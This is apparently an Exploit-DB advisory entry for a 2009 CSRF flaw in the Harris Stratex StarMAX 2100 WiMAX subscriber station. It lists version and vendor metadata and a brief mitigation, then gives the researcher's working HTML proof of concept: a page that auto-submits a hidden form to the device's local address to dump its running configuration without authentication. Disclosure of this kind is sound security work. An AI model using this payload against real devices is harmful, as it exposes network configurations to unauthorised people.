CSRF vulnerability in Harris Stratex WIMAX 2100 subscriber station

vendor:

StarMAX 2100 WIMAX subscriber station

by:

Kalyan

4,3

CVSS

MEDIUM

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: StarMAX 2100 WIMAX subscriber station

Affected Version From: 3.0.4.1.7.C

Affected Version To: 3.0.4.1.7.C

Patch Exists: No

Related CWE: N/A

CPE: a:harris_stratex:starMAX_2100_WIMAX_subscriber_station

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Any OS

2009

CSRF vulnerability in Harris Stratex WIMAX 2100 subscriber station

A vulnerability was found in Harris Stratex WIMAX 2100 subscriber station, which allowed an attacker to view the current configuration of the subscriber station without authentication from both LAN & WAN. This was achieved by using a malicious HTML code which submitted a form to the target URL.

Mitigation:

Implementing proper authentication and authorization mechanisms, and validating user input.

Source

Exploit-DB raw data:

I found CSRF vulnerability in Harris Stratex WIMAX 2100 subscriber
station.Using this code i am able to view the current configuration of the
subscriber station without authentication from both LAN & WAN

# Software Link:http://securityvulns.com/Wdocument736.html
# Version: 3.0.4.1.7.C
# Tested on: Any os
# CVE : No

Product :StarMAX 2100 WIMAX subscriber station
Affected Application Version: 3.0.4.1.7.C
Vendor submission:07-04-2009
Vendor Response:No
Vulnerability:Able to view the running configuration without authentication
from both LAN & WAN

<html>
<body>
<body onload="config.submit();">
<form name=config method="get" action="http:192.168.1.1/frameCmd6.html">
<input type=hidden name=showRunConfig value="Current Configuration">
</form>
</body>
</html>


Thanks
Kalyan
Security researcher